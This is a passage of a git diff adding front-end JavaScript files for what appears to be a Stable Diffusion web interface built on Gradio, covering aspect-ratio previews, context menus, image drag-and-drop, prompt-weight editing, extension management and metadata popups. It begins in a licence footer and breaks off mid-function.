+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+
\ No newline at end of file diff --git a/javascript/aspectRatioOverlay.js b/javascript/aspectRatioOverlay.js new file mode 100644 index 0000000000000000000000000000000000000000..2cf2d571fc02a026b6cdedcf589a217ef0d65d27 --- /dev/null +++ b/javascript/aspectRatioOverlay.js @@ -0,0 +1,113 @@ + +let currentWidth = null; +let currentHeight = null; +let arFrameTimeout = setTimeout(function() {}, 0); + +function dimensionChange(e, is_width, is_height) { + + if (is_width) { + currentWidth = e.target.value * 1.0; + } + if (is_height) { + currentHeight = e.target.value * 1.0; + } + + var inImg2img = gradioApp().querySelector("#tab_img2img").style.display == "block"; + + if (!inImg2img) { + return; + } + + var targetElement = null; + + var tabIndex = get_tab_index('mode_img2img'); + if (tabIndex == 0) { // img2img + targetElement = gradioApp().querySelector('#img2img_image div[data-testid=image] img'); + } else if (tabIndex == 1) { //Sketch + targetElement = gradioApp().querySelector('#img2img_sketch div[data-testid=image] img'); + } else if (tabIndex == 2) { // Inpaint + targetElement = gradioApp().querySelector('#img2maskimg div[data-testid=image] img'); + } else if (tabIndex == 3) { // Inpaint sketch + targetElement = gradioApp().querySelector('#inpaint_sketch div[data-testid=image] img'); + } + + + if (targetElement) { + + var arPreviewRect = gradioApp().querySelector('#imageARPreview'); + if (!arPreviewRect) { + arPreviewRect = document.createElement('div'); + arPreviewRect.id = "imageARPreview"; + gradioApp().appendChild(arPreviewRect); + } + + + + var viewportOffset = targetElement.getBoundingClientRect(); + + var viewportscale = Math.min(targetElement.clientWidth / targetElement.naturalWidth, targetElement.clientHeight / targetElement.naturalHeight); + + var scaledx = targetElement.naturalWidth * viewportscale; + var scaledy = targetElement.naturalHeight * viewportscale; + + var cleintRectTop = (viewportOffset.top + window.scrollY); + var cleintRectLeft = (viewportOffset.left + window.scrollX); + var cleintRectCentreY = cleintRectTop + (targetElement.clientHeight / 2); + var cleintRectCentreX = cleintRectLeft + (targetElement.clientWidth / 2); + + var arscale = Math.min(scaledx / currentWidth, scaledy / currentHeight); + var arscaledx = currentWidth * arscale; + var arscaledy = currentHeight * arscale; + + var arRectTop = cleintRectCentreY - (arscaledy / 2); + var arRectLeft = cleintRectCentreX - (arscaledx / 2); + var arRectWidth = arscaledx; + var arRectHeight = arscaledy; + + arPreviewRect.style.top = arRectTop + 'px'; + arPreviewRect.style.left = arRectLeft + 'px'; + arPreviewRect.style.width = arRectWidth + 'px'; + arPreviewRect.style.height = arRectHeight + 'px'; + + clearTimeout(arFrameTimeout); + arFrameTimeout = setTimeout(function() { + arPreviewRect.style.display = 'none'; + }, 2000); + + arPreviewRect.style.display = 'block'; + + } + +} + + +onAfterUiUpdate(function() { + var arPreviewRect = gradioApp().querySelector('#imageARPreview'); + if (arPreviewRect) { + arPreviewRect.style.display = 'none'; + } + var tabImg2img = gradioApp().querySelector("#tab_img2img"); + if (tabImg2img) { + var inImg2img = tabImg2img.style.display == "block"; + if (inImg2img) { + let inputs = gradioApp().querySelectorAll('input'); + inputs.forEach(function(e) { + var is_width = e.parentElement.id == "img2img_width"; + var is_height = e.parentElement.id == "img2img_height"; + + if ((is_width || is_height) && !e.classList.contains('scrollwatch')) { + e.addEventListener('input', function(e) { + dimensionChange(e, is_width, is_height); + }); + e.classList.add('scrollwatch'); + } + if (is_width) { + currentWidth = e.value * 1.0; + } + if (is_height) { + currentHeight = e.value * 1.0; + } + }); + } + } +}); diff --git a/javascript/contextMenus.js b/javascript/contextMenus.js new file mode 100644 index 0000000000000000000000000000000000000000..ccae242f2b6a731e89d8752814aae6b78e143482 --- /dev/null +++ b/javascript/contextMenus.js @@ -0,0 +1,176 @@ + +var contextMenuInit = function() { + let eventListenerApplied = false; + let menuSpecs = new Map(); + + const uid = function() { + return Date.now().toString(36) + Math.random().toString(36).substring(2); + }; + + function showContextMenu(event, element, menuEntries) { + let posx = event.clientX + document.body.scrollLeft + document.documentElement.scrollLeft; + let posy = event.clientY + document.body.scrollTop + document.documentElement.scrollTop; + + let oldMenu = gradioApp().querySelector('#context-menu'); + if (oldMenu) { + oldMenu.remove(); + } + + let baseStyle = window.getComputedStyle(uiCurrentTab); + + const contextMenu = document.createElement('nav'); + contextMenu.id = "context-menu"; + contextMenu.style.background = baseStyle.background; + contextMenu.style.color = baseStyle.color; + contextMenu.style.fontFamily = baseStyle.fontFamily; + contextMenu.style.top = posy + 'px'; + contextMenu.style.left = posx + 'px'; + + + + const contextMenuList = document.createElement('ul'); + contextMenuList.className = 'context-menu-items'; + contextMenu.append(contextMenuList); + + menuEntries.forEach(function(entry) { + let contextMenuEntry = document.createElement('a'); + contextMenuEntry.innerHTML = entry['name']; + contextMenuEntry.addEventListener("click", function() { + entry['func'](); + }); + contextMenuList.append(contextMenuEntry); + + }); + + gradioApp().appendChild(contextMenu); + + let menuWidth = contextMenu.offsetWidth + 4; + let menuHeight = contextMenu.offsetHeight + 4; + + let windowWidth = window.innerWidth; + let windowHeight = window.innerHeight; + + if ((windowWidth - posx) < menuWidth) { + contextMenu.style.left = windowWidth - menuWidth + "px"; + } + + if ((windowHeight - posy) < menuHeight) { + contextMenu.style.top = windowHeight - menuHeight + "px"; + } + + } + + function appendContextMenuOption(targetElementSelector, entryName, entryFunction) { + + var currentItems = menuSpecs.get(targetElementSelector); + + if (!currentItems) { + currentItems = []; + menuSpecs.set(targetElementSelector, currentItems); + } + let newItem = { + id: targetElementSelector + '_' + uid(), + name: entryName, + func: entryFunction, + isNew: true + }; + + currentItems.push(newItem); + return newItem['id']; + } + + function removeContextMenuOption(uid) { + menuSpecs.forEach(function(v) { + let index = -1; + v.forEach(function(e, ei) { + if (e['id'] == uid) { + index = ei; + } + }); + if (index >= 0) { + v.splice(index, 1); + } + }); + } + + function addContextMenuEventListener() { + if (eventListenerApplied) { + return; + } + gradioApp().addEventListener("click", function(e) { + if (!e.isTrusted) { + return; + } + + let oldMenu = gradioApp().querySelector('#context-menu'); + if (oldMenu) { + oldMenu.remove(); + } + }); + gradioApp().addEventListener("contextmenu", function(e) { + let oldMenu = gradioApp().querySelector('#context-menu'); + if (oldMenu) { + oldMenu.remove(); + } + menuSpecs.forEach(function(v, k) { + if (e.composedPath()[0].matches(k)) { + showContextMenu(e, e.composedPath()[0], v); + e.preventDefault(); + } + }); + }); + eventListenerApplied = true; + + } + + return [appendContextMenuOption, removeContextMenuOption, addContextMenuEventListener]; +}; + +var initResponse = contextMenuInit(); +var appendContextMenuOption = initResponse[0]; +var removeContextMenuOption = initResponse[1]; +var addContextMenuEventListener = initResponse[2]; + +(function() { + //Start example Context Menu Items + let generateOnRepeat = function(genbuttonid, interruptbuttonid) { + let genbutton = gradioApp().querySelector(genbuttonid); + let interruptbutton = gradioApp().querySelector(interruptbuttonid); + if (!interruptbutton.offsetParent) { + genbutton.click(); + } + clearInterval(window.generateOnRepeatInterval); + window.generateOnRepeatInterval = setInterval(function() { + if (!interruptbutton.offsetParent) { + genbutton.click(); + } + }, + 500); + }; + + let generateOnRepeat_txt2img = function() { + generateOnRepeat('#txt2img_generate', '#txt2img_interrupt'); + }; + + let generateOnRepeat_img2img = function() { + generateOnRepeat('#img2img_generate', '#img2img_interrupt'); + }; + + appendContextMenuOption('#txt2img_generate', 'Generate forever', generateOnRepeat_txt2img); + appendContextMenuOption('#txt2img_interrupt', 'Generate forever', generateOnRepeat_txt2img); + appendContextMenuOption('#img2img_generate', 'Generate forever', generateOnRepeat_img2img); + appendContextMenuOption('#img2img_interrupt', 'Generate forever', generateOnRepeat_img2img); + + let cancelGenerateForever = function() { + clearInterval(window.generateOnRepeatInterval); + }; + + appendContextMenuOption('#txt2img_interrupt', 'Cancel generate forever', cancelGenerateForever); + appendContextMenuOption('#txt2img_generate', 'Cancel generate forever', cancelGenerateForever); + appendContextMenuOption('#img2img_interrupt', 'Cancel generate forever', cancelGenerateForever); + appendContextMenuOption('#img2img_generate', 'Cancel generate forever', cancelGenerateForever); + +})(); +//End example Context Menu Items + +onAfterUiUpdate(addContextMenuEventListener); diff --git a/javascript/dragdrop.js b/javascript/dragdrop.js new file mode 100644 index 0000000000000000000000000000000000000000..5803daea5ef33341b5307e03a7ebbadc7c324ed7 --- /dev/null +++ b/javascript/dragdrop.js @@ -0,0 +1,130 @@ +// allows drag-dropping files into gradio image elements, and also pasting images from clipboard + +function isValidImageList(files) { + return files && files?.length === 1 && ['image/png', 'image/gif', 'image/jpeg'].includes(files[0].type); +} + +function dropReplaceImage(imgWrap, files) { + if (!isValidImageList(files)) { + return; + } + + const tmpFile = files[0]; + + imgWrap.querySelector('.modify-upload button + button, .touch-none + div button + button')?.click(); + const callback = () => { + const fileInput = imgWrap.querySelector('input[type="file"]'); + if (fileInput) { + if (files.length === 0) { + files = new DataTransfer(); + files.items.add(tmpFile); + fileInput.files = files.files; + } else { + fileInput.files = files; + } + fileInput.dispatchEvent(new Event('change')); + } + }; + + if (imgWrap.closest('#pnginfo_image')) { + // special treatment for PNG Info tab, wait for fetch request to finish + const oldFetch = window.fetch; + window.fetch = async(input, options) => { + const response = await oldFetch(input, options); + if ('api/predict/' === input) { + const content = await response.text(); + window.fetch = oldFetch; + window.requestAnimationFrame(() => callback()); + return new Response(content, { + status: response.status, + statusText: response.statusText, + headers: response.headers + }); + } + return response; + }; + } else { + window.requestAnimationFrame(() => callback()); + } +} + +function eventHasFiles(e) { + if (!e.dataTransfer || !e.dataTransfer.files) return false; + if (e.dataTransfer.files.length > 0) return true; + if (e.dataTransfer.items.length > 0 && e.dataTransfer.items[0].kind == "file") return true; + + return false; +} + +function dragDropTargetIsPrompt(target) { + if (target?.placeholder && target?.placeholder.indexOf("Prompt") >= 0) return true; + if (target?.parentNode?.parentNode?.className?.indexOf("prompt") > 0) return true; + return false; +} + +window.document.addEventListener('dragover', e => { + const target = e.composedPath()[0]; + if (!eventHasFiles(e)) return; + + var targetImage = target.closest('[data-testid="image"]'); + if (!dragDropTargetIsPrompt(target) && !targetImage) return; + + e.stopPropagation(); + e.preventDefault(); + e.dataTransfer.dropEffect = 'copy'; +}); + +window.document.addEventListener('drop', e => { + const target = e.composedPath()[0]; + if (!eventHasFiles(e)) return; + + if (dragDropTargetIsPrompt(target)) { + e.stopPropagation(); + e.preventDefault(); + + let prompt_target = get_tab_index('tabs') == 1 ? "img2img_prompt_image" : "txt2img_prompt_image"; + + const imgParent = gradioApp().getElementById(prompt_target); + const files = e.dataTransfer.files; + const fileInput = imgParent.querySelector('input[type="file"]'); + if (fileInput) { + fileInput.files = files; + fileInput.dispatchEvent(new Event('change')); + } + } + + var targetImage = target.closest('[data-testid="image"]'); + if (targetImage) { + e.stopPropagation(); + e.preventDefault(); + const files = e.dataTransfer.files; + dropReplaceImage(targetImage, files); + return; + } +}); + +window.addEventListener('paste', e => { + const files = e.clipboardData.files; + if (!isValidImageList(files)) { + return; + } + + const visibleImageFields = [...gradioApp().querySelectorAll('[data-testid="image"]')] + .filter(el => uiElementIsVisible(el)) + .sort((a, b) => uiElementInSight(b) - uiElementInSight(a)); + + + if (!visibleImageFields.length) { + return; + } + + const firstFreeImageField = visibleImageFields + .filter(el => el.querySelector('input[type=file]'))?.[0]; + + dropReplaceImage( + firstFreeImageField ? + firstFreeImageField : + visibleImageFields[visibleImageFields.length - 1] + , files + ); +}); diff --git a/javascript/edit-attention.js b/javascript/edit-attention.js new file mode 100644 index 0000000000000000000000000000000000000000..8906c8922e17709ebde168f15d3f7c18706e75d4 --- /dev/null +++ b/javascript/edit-attention.js @@ -0,0 +1,121 @@ +function keyupEditAttention(event) { + let target = event.originalTarget || event.composedPath()[0]; + if (!target.matches("*:is([id*='_toprow'] [id*='_prompt'], .prompt) textarea")) return; + if (!(event.metaKey || event.ctrlKey)) return; + + let isPlus = event.key == "ArrowUp"; + let isMinus = event.key == "ArrowDown"; + if (!isPlus && !isMinus) return; + + let selectionStart = target.selectionStart; + let selectionEnd = target.selectionEnd; + let text = target.value; + + function selectCurrentParenthesisBlock(OPEN, CLOSE) { + if (selectionStart !== selectionEnd) return false; + + // Find opening parenthesis around current cursor + const before = text.substring(0, selectionStart); + let beforeParen = before.lastIndexOf(OPEN); + if (beforeParen == -1) return false; + let beforeParenClose = before.lastIndexOf(CLOSE); + while (beforeParenClose !== -1 && beforeParenClose > beforeParen) { + beforeParen = before.lastIndexOf(OPEN, beforeParen - 1); + beforeParenClose = before.lastIndexOf(CLOSE, beforeParenClose - 1); + } + + // Find closing parenthesis around current cursor + const after = text.substring(selectionStart); + let afterParen = after.indexOf(CLOSE); + if (afterParen == -1) return false; + let afterParenOpen = after.indexOf(OPEN); + while (afterParenOpen !== -1 && afterParen > afterParenOpen) { + afterParen = after.indexOf(CLOSE, afterParen + 1); + afterParenOpen = after.indexOf(OPEN, afterParenOpen + 1); + } + if (beforeParen === -1 || afterParen === -1) return false; + + // Set the selection to the text between the parenthesis + const parenContent = text.substring(beforeParen + 1, selectionStart + afterParen); + const lastColon = parenContent.lastIndexOf(":"); + selectionStart = beforeParen + 1; + selectionEnd = selectionStart + lastColon; + target.setSelectionRange(selectionStart, selectionEnd); + return true; + } + + function selectCurrentWord() { + if (selectionStart !== selectionEnd) return false; + const delimiters = opts.keyedit_delimiters + " \r\n\t"; + + // seek backward until to find beggining + while (!delimiters.includes(text[selectionStart - 1]) && selectionStart > 0) { + selectionStart--; + } + + // seek forward to find end + while (!delimiters.includes(text[selectionEnd]) && selectionEnd < text.length) { + selectionEnd++; + } + + target.setSelectionRange(selectionStart, selectionEnd); + return true; + } + + // If the user hasn't selected anything, let's select their current parenthesis block or word + if (!selectCurrentParenthesisBlock('<', '>') && !selectCurrentParenthesisBlock('(', ')')) { + selectCurrentWord(); + } + + event.preventDefault(); + + var closeCharacter = ')'; + var delta = opts.keyedit_precision_attention; + + if (selectionStart > 0 && text[selectionStart - 1] == '<') { + closeCharacter = '>'; + delta = opts.keyedit_precision_extra; + } else if (selectionStart == 0 || text[selectionStart - 1] != "(") { + + // do not include spaces at the end + while (selectionEnd > selectionStart && text[selectionEnd - 1] == ' ') { + selectionEnd -= 1; + } + if (selectionStart == selectionEnd) { + return; + } + + text = text.slice(0, selectionStart) + "(" + text.slice(selectionStart, selectionEnd) + ":1.0)" + text.slice(selectionEnd); + + selectionStart += 1; + selectionEnd += 1; + } + + var end = text.slice(selectionEnd + 1).indexOf(closeCharacter) + 1; + var weight = parseFloat(text.slice(selectionEnd + 1, selectionEnd + 1 + end)); + if (isNaN(weight)) return; + + weight += isPlus ? delta : -delta; + weight = parseFloat(weight.toPrecision(12)); + if (String(weight).length == 1) weight += ".0"; + + if (closeCharacter == ')' && weight == 1) { + var endParenPos = text.substring(selectionEnd).indexOf(')'); + text = text.slice(0, selectionStart - 1) + text.slice(selectionStart, selectionEnd) + text.slice(selectionEnd + endParenPos + 1); + selectionStart--; + selectionEnd--; + } else { + text = text.slice(0, selectionEnd + 1) + weight + text.slice(selectionEnd + end); + } + + target.focus(); + target.value = text; + target.selectionStart = selectionStart; + target.selectionEnd = selectionEnd; + + updateInput(target); +} + +addEventListener('keydown', (event) => { + keyupEditAttention(event); +}); diff --git a/javascript/edit-order.js b/javascript/edit-order.js new file mode 100644 index 0000000000000000000000000000000000000000..ed4ef9ac399a6d0bd83435958dc4d46837760c6a --- /dev/null +++ b/javascript/edit-order.js @@ -0,0 +1,41 @@ +/* alt+left/right moves text in prompt */ + +function keyupEditOrder(event) { + if (!opts.keyedit_move) return; + + let target = event.originalTarget || event.composedPath()[0]; + if (!target.matches("*:is([id*='_toprow'] [id*='_prompt'], .prompt) textarea")) return; + if (!event.altKey) return; + + let isLeft = event.key == "ArrowLeft"; + let isRight = event.key == "ArrowRight"; + if (!isLeft && !isRight) return; + event.preventDefault(); + + let selectionStart = target.selectionStart; + let selectionEnd = target.selectionEnd; + let text = target.value; + let items = text.split(","); + let indexStart = (text.slice(0, selectionStart).match(/,/g) || []).length; + let indexEnd = (text.slice(0, selectionEnd).match(/,/g) || []).length; + let range = indexEnd - indexStart + 1; + + if (isLeft && indexStart > 0) { + items.splice(indexStart - 1, 0, ...items.splice(indexStart, range)); + target.value = items.join(); + target.selectionStart = items.slice(0, indexStart - 1).join().length + (indexStart == 1 ? 0 : 1); + target.selectionEnd = items.slice(0, indexEnd).join().length; + } else if (isRight && indexEnd < items.length - 1) { + items.splice(indexStart + 1, 0, ...items.splice(indexStart, range)); + target.value = items.join(); + target.selectionStart = items.slice(0, indexStart + 1).join().length + 1; + target.selectionEnd = items.slice(0, indexEnd + 2).join().length; + } + + event.preventDefault(); + updateInput(target); +} + +addEventListener('keydown', (event) => { + keyupEditOrder(event); +}); diff --git a/javascript/extensions.js b/javascript/extensions.js new file mode 100644 index 0000000000000000000000000000000000000000..312131b76ebc2eea200698b81d024d98e8af9ea4 --- /dev/null +++ b/javascript/extensions.js @@ -0,0 +1,92 @@ + +function extensions_apply(_disabled_list, _update_list, disable_all) { + var disable = []; + var update = []; + + gradioApp().querySelectorAll('#extensions input[type="checkbox"]').forEach(function(x) { + if (x.name.startsWith("enable_") && !x.checked) { + disable.push(x.name.substring(7)); + } + + if (x.name.startsWith("update_") && x.checked) { + update.push(x.name.substring(7)); + } + }); + + restart_reload(); + + return [JSON.stringify(disable), JSON.stringify(update), disable_all]; +} + +function extensions_check() { + var disable = []; + + gradioApp().querySelectorAll('#extensions input[type="checkbox"]').forEach(function(x) { + if (x.name.startsWith("enable_") && !x.checked) { + disable.push(x.name.substring(7)); + } + }); + + gradioApp().querySelectorAll('#extensions .extension_status').forEach(function(x) { + x.innerHTML = "Loading..."; + }); + + + var id = randomId(); + requestProgress(id, gradioApp().getElementById('extensions_installed_html'), null, function() { + + }); + + return [id, JSON.stringify(disable)]; +} + +function install_extension_from_index(button, url) { + button.disabled = "disabled"; + button.value = "Installing..."; + + var textarea = gradioApp().querySelector('#extension_to_install textarea'); + textarea.value = url; + updateInput(textarea); + + gradioApp().querySelector('#install_extension_button').click(); +} + +function config_state_confirm_restore(_, config_state_name, config_restore_type) { + if (config_state_name == "Current") { + return [false, config_state_name, config_restore_type]; + } + let restored = ""; + if (config_restore_type == "extensions") { + restored = "all saved extension versions"; + } else if (config_restore_type == "webui") { + restored = "the webui version"; + } else { + restored = "the webui version and all saved extension versions"; + } + let confirmed = confirm("Are you sure you want to restore from this state?\nThis will reset " + restored + "."); + if (confirmed) { + restart_reload(); + gradioApp().querySelectorAll('#extensions .extension_status').forEach(function(x) { + x.innerHTML = "Loading..."; + }); + } + return [confirmed, config_state_name, config_restore_type]; +} + +function toggle_all_extensions(event) { + gradioApp().querySelectorAll('#extensions .extension_toggle').forEach(function(checkbox_el) { + checkbox_el.checked = event.target.checked; + }); +} + +function toggle_extension() { + let all_extensions_toggled = true; + for (const checkbox_el of gradioApp().querySelectorAll('#extensions .extension_toggle')) { + if (!checkbox_el.checked) { + all_extensions_toggled = false; + break; + } + } + + gradioApp().querySelector('#extensions .all_extensions_toggle').checked = all_extensions_toggled; +} diff --git a/javascript/extraNetworks.js b/javascript/extraNetworks.js new file mode 100644 index 0000000000000000000000000000000000000000..493f31af28a0d34e81907c07787717acfc8d9aea --- /dev/null +++ b/javascript/extraNetworks.js @@ -0,0 +1,349 @@ +function toggleCss(key, css, enable) { + var style = document.getElementById(key); + if (enable && !style) { + style = document.createElement('style'); + style.id = key; + style.type = 'text/css'; + document.head.appendChild(style); + } + if (style && !enable) { + document.head.removeChild(style); + } + if (style) { + style.innerHTML == ''; + style.appendChild(document.createTextNode(css)); + } +} + +function setupExtraNetworksForTab(tabname) { + gradioApp().querySelector('#' + tabname + '_extra_tabs').classList.add('extra-networks'); + + var tabs = gradioApp().querySelector('#' + tabname + '_extra_tabs > div'); + var searchDiv = gradioApp().getElementById(tabname + '_extra_search'); + var search = searchDiv.querySelector('textarea'); + var sort = gradioApp().getElementById(tabname + '_extra_sort'); + var sortOrder = gradioApp().getElementById(tabname + '_extra_sortorder'); + var refresh = gradioApp().getElementById(tabname + '_extra_refresh'); + var showDirsDiv = gradioApp().getElementById(tabname + '_extra_show_dirs'); + var showDirs = gradioApp().querySelector('#' + tabname + '_extra_show_dirs input'); + + sort.dataset.sortkey = 'sortDefault'; + tabs.appendChild(searchDiv); + tabs.appendChild(sort); + tabs.appendChild(sortOrder); + tabs.appendChild(refresh); + tabs.appendChild(showDirsDiv); + + var applyFilter = function() { + var searchTerm = search.value.toLowerCase(); + + gradioApp().querySelectorAll('#' + tabname + '_extra_tabs div.card').forEach(function(elem) { + var searchOnly = elem.querySelector('.search_only'); + var text = elem.querySelector('.name').textContent.toLowerCase() + " " + elem.querySelector('.search_term').textContent.toLowerCase(); + + var visible = text.indexOf(searchTerm) != -1; + + if (searchOnly && searchTerm.length < 4) { + visible = false; + } + + elem.style.display = visible ? "" : "none"; + }); + }; + + var applySort = function() { + var reverse = sortOrder.classList.contains("sortReverse"); + var sortKey = sort.querySelector("input").value.toLowerCase().replace("sort", "").replaceAll(" ", "_").replace(/_+$/, "").trim(); + sortKey = sortKey ? "sort" + sortKey.charAt(0).toUpperCase() + sortKey.slice(1) : ""; + var sortKeyStore = sortKey ? sortKey + (reverse ? "Reverse" : "") : ""; + if (!sortKey || sortKeyStore == sort.dataset.sortkey) { + return; + } + + sort.dataset.sortkey = sortKeyStore; + + var cards = gradioApp().querySelectorAll('#' + tabname + '_extra_tabs div.card'); + cards.forEach(function(card) { + card.originalParentElement = card.parentElement; + }); + var sortedCards = Array.from(cards); + sortedCards.sort(function(cardA, cardB) { + var a = cardA.dataset[sortKey]; + var b = cardB.dataset[sortKey]; + if (!isNaN(a) && !isNaN(b)) { + return parseInt(a) - parseInt(b); + } + + return (a < b ? -1 : (a > b ? 1 : 0)); + }); + if (reverse) { + sortedCards.reverse(); + } + cards.forEach(function(card) { + card.remove(); + }); + sortedCards.forEach(function(card) { + card.originalParentElement.appendChild(card); + }); + }; + + search.addEventListener("input", applyFilter); + applyFilter(); + ["change", "blur", "click"].forEach(function(evt) { + sort.querySelector("input").addEventListener(evt, applySort); + }); + sortOrder.addEventListener("click", function() { + sortOrder.classList.toggle("sortReverse"); + applySort(); + }); + + extraNetworksApplyFilter[tabname] = applyFilter; + + var showDirsUpdate = function() { + var css = '#' + tabname + '_extra_tabs .extra-network-subdirs { display: none; }'; + toggleCss(tabname + '_extra_show_dirs_style', css, !showDirs.checked); + localSet('extra-networks-show-dirs', showDirs.checked ? 1 : 0); + }; + showDirs.checked = localGet('extra-networks-show-dirs', 1) == 1; + showDirs.addEventListener("change", showDirsUpdate); + showDirsUpdate(); +} + +function applyExtraNetworkFilter(tabname) { + setTimeout(extraNetworksApplyFilter[tabname], 1); +} + +var extraNetworksApplyFilter = {}; +var activePromptTextarea = {}; + +function setupExtraNetworks() { + setupExtraNetworksForTab('txt2img'); + setupExtraNetworksForTab('img2img'); + + function registerPrompt(tabname, id) { + var textarea = gradioApp().querySelector("#" + id + " > label > textarea"); + + if (!activePromptTextarea[tabname]) { + activePromptTextarea[tabname] = textarea; + } + + textarea.addEventListener("focus", function() { + activePromptTextarea[tabname] = textarea; + }); + } + + registerPrompt('txt2img', 'txt2img_prompt'); + registerPrompt('txt2img', 'txt2img_neg_prompt'); + registerPrompt('img2img', 'img2img_prompt'); + registerPrompt('img2img', 'img2img_neg_prompt'); +} + +onUiLoaded(setupExtraNetworks); + +var re_extranet = /<([^:]+:[^:]+):[\d.]+>(.*)/; +var re_extranet_g = /\s+<([^:]+:[^:]+):[\d.]+>/g; + +function tryToRemoveExtraNetworkFromPrompt(textarea, text) { + var m = text.match(re_extranet); + var replaced = false; + var newTextareaText; + if (m) { + var extraTextAfterNet = m[2]; + var partToSearch = m[1]; + var foundAtPosition = -1; + newTextareaText = textarea.value.replaceAll(re_extranet_g, function(found, net, pos) { + m = found.match(re_extranet); + if (m[1] == partToSearch) { + replaced = true; + foundAtPosition = pos; + return ""; + } + return found; + }); + + if (foundAtPosition >= 0 && newTextareaText.substr(foundAtPosition, extraTextAfterNet.length) == extraTextAfterNet) { + newTextareaText = newTextareaText.substr(0, foundAtPosition) + newTextareaText.substr(foundAtPosition + extraTextAfterNet.length); + } + } else { + newTextareaText = textarea.value.replaceAll(new RegExp(text, "g"), function(found) { + if (found == text) { + replaced = true; + return ""; + } + return found; + }); + } + + if (replaced) { + textarea.value = newTextareaText; + return true; + } + + return false; +} + +function cardClicked(tabname, textToAdd, allowNegativePrompt) { + var textarea = allowNegativePrompt ? activePromptTextarea[tabname] : gradioApp().querySelector("#" + tabname + "_prompt > label > textarea"); + + if (!tryToRemoveExtraNetworkFromPrompt(textarea, textToAdd)) { + textarea.value = textarea.value + opts.extra_networks_add_text_separator + textToAdd; + } + + updateInput(textarea); +} + +function saveCardPreview(event, tabname, filename) { + var textarea = gradioApp().querySelector("#" + tabname + '_preview_filename > label > textarea'); + var button = gradioApp().getElementById(tabname + '_save_preview'); + + textarea.value = filename; + updateInput(textarea); + + button.click(); + + event.stopPropagation(); + event.preventDefault(); +} + +function extraNetworksSearchButton(tabs_id, event) { + var searchTextarea = gradioApp().querySelector("#" + tabs_id + ' > label > textarea'); + var button = event.target; + var text = button.classList.contains("search-all") ? "" : button.textContent.trim(); + + searchTextarea.value = text; + updateInput(searchTextarea); +} + +var globalPopup = null; +var globalPopupInner = null; +function closePopup() { + if (!globalPopup) return; + + globalPopup.style.display = "none"; +} +function popup(contents) { + if (!globalPopup) { + globalPopup = document.createElement('div'); + globalPopup.onclick = closePopup; + globalPopup.classList.add('global-popup'); + + var close = document.createElement('div'); + close.classList.add('global-popup-close'); + close.onclick = closePopup; + close.title = "Close"; + globalPopup.appendChild(close); + + globalPopupInner = document.createElement('div'); + globalPopupInner.onclick = function(event) { + event.stopPropagation(); return false; + }; + globalPopupInner.classList.add('global-popup-inner'); + globalPopup.appendChild(globalPopupInner); + + gradioApp().querySelector('.main').appendChild(globalPopup); + } + + globalPopupInner.innerHTML = ''; + globalPopupInner.appendChild(contents); + + globalPopup.style.display = "flex"; +} + +var storedPopupIds = {}; +function popupId(id) { + if (!storedPopupIds[id]) { + storedPopupIds[id] = gradioApp().getElementById(id); + } + + popup(storedPopupIds[id]); +} + +function extraNetworksShowMetadata(text) { + var elem = document.createElement('pre'); + elem.classList.add('popup-metadata'); + elem.textContent = text; + + popup(elem); +} + +function requestGet(url, data, handler, errorHandler) { + var xhr = new XMLHttpRequest(); + var args = Object.keys(data).map(function(k) { + return encodeURIComponent(k) + '=' + encodeURIComponent(data[k]); + }).join('&'); + xhr.open("GET", url + "?" + args, true); + + xhr.onreadystatechange = function() { + if (xhr.readyState === 4) { + if (xhr.status === 200) { + try { + var js = JSON.parse(xhr.responseText); + handler(js); + } catch (error) { + console.error(error); + errorHandler(); + } + } else { + errorHandler(); + } + } + }; + var js = JSON.stringify(data); + xhr.send(js); +} + +function extraNetworksRequestMetadata(event, extraPage, cardName) { + var showError = function() { + extraNetworksShowMetadata("there was an error getting metadata"); + }; + + requestGet("./sd_extra_networks/metadata", {page: extraPage, item: cardName}, function(data) { + if (data && data.metadata) { + extraNetworksShowMetadata(data.metadata); + } else { + showError(); + } + }, showError); + + event.stopPropagation(); +} + +var extraPageUserMetadataEditors = {}; + +function extraNetworksEditUserMetadata(event, tabname, extraPage, cardName) { + var id = tabname + '_' + extraPage + '_edit_user_metadata'; + + var editor = extraPageUserMetadataEditors[id]; + if (!editor) { + editor = {}; + editor.page = gradioApp().getElementById(id); + editor.nameTextarea = gradioApp().querySelector("#" + id + "_name" + ' textarea'); + editor.button = gradioApp().querySelector("#" + id + "_button"); + extraPageUserMetadataEditors[id] = editor; + } + + editor.nameTextarea.value = cardName; + updateInput(editor.nameTextarea); + + editor.button.click(); + + popup(editor.page); + + event.stopPropagation(); +} + +function extraNetworksRefreshSingleCard(page, tabname, name) { + requestGet("./sd_extra_networks/get-single-card", {page: page, tabname: tabname, name: name}, function(data) { + if (data && data.html) { + var card = gradioApp().querySelector('.card[data-name=' + JSON.stringify(name) + ']'); // likely using the wrong stringify function + + var newDiv = document.createElement('DIV'); + newDiv.innerHTML = data.html; + var newCard = newDiv.firstElementChild; + + newCard.style.display = ''; + card.parentElement.insertBefore(newCard, card); + card.parentElement.removeChild(card); + } + }); +} diff --git a/javascript/generationParams.js b/javascript/generationParams.js new file mode 100644 index 0000000000000000000000000000000000000000..7c0fd221d63313ab063f545570eb0da780b9da3a --- /dev/null +++ b/javascript/generationParams.js @@ -0,0 +1,35 @@ +// attaches listeners to the txt2img and img2img galleries to update displayed generation param text when the image changes + +let txt2img_gallery, img2img_gallery, modal = undefined; +onAfterUiUpdate(function() { + if (!txt2img_gallery) { + txt2img_gallery = attachGalleryListeners("txt2img"); + } + if (!img2img_gallery) { + img2img_gallery = attachGalleryListeners("img2img"); + } + if (!modal) { + modal = gradioApp().getElementById('lightboxModal'); + modalObserver.observe(modal, {attributes: true, attributeFilter: ['style']}); + } +}); + +let modalObserver = new MutationObserver(function(mutations) { + mutations.forEach(function(mutationRecord) { + let selectedTab = gradioApp().querySelector('#tabs div button.selected')?.innerText; + if (mutationRecord.target.style.display === 'none' && (selectedTab === 'txt2img' || selectedTab === 'img2img')) { + gradioApp().getElementById(selectedTab + "_generation_info_button")?.click(); + } + }); +}); + +function attachGalleryListeners(tab_name) { + var gallery = gradioApp().querySelector('#' + tab_name + '_gallery'); + gallery?.addEventListener('click', () => gradioApp().getElementById(tab_name + "_generation_info_button").click()); + gallery?.addEventListener('keydown', (e) => { + if (e.keyCode == 37 || e.keyCode == 39) { // left or right arrow + gradioApp().getElementById(tab_name + "_generation_info_button").click(); + } 